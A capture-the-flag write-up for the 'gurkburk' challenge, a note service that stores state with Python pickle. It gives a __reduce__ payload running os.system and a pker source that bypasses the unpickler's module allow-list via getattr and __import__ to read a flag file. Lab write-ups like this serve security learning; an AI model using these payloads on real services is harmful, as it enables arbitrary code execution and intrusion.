gurkburk

Description

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A simple note taking service that lets you save and load the current state.

Solution

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After inspecting the save-string we received, we found out that the service uses the exploitable python pickle module to serialize and unserialize the state.

When trying the simple payload:

class payload(object):
    def __reduce__(self):
       comm = "cat ./flag.txt"
       return os.system, (comm,)

We get the following error:

pickle.UnpicklingError: Your pickle is trying to load something sneaky. Only the modules __main__, __builtin__ and copyreg are allowed. eval and exec are not allowed. 'posix.system' is forbidden

Note, that the pickle format itself is an interpreted language and you can create arbitrary sequences of calls.

We then used __builtin__.getattr and __builtin__.__import__ to get os.system and call it with 'cat ./flag.txt'.

We created our payload using pker(https://github.com/eddieivan01/pker) with the following source:

_getattr = GLOBAL('__builtin__', 'getattr')
_import = GLOBAL('__builtin__', '__import__')
_os = _import('os')
_system = _getattr(_os, 'system')
_system('cat ./flag.txt')
return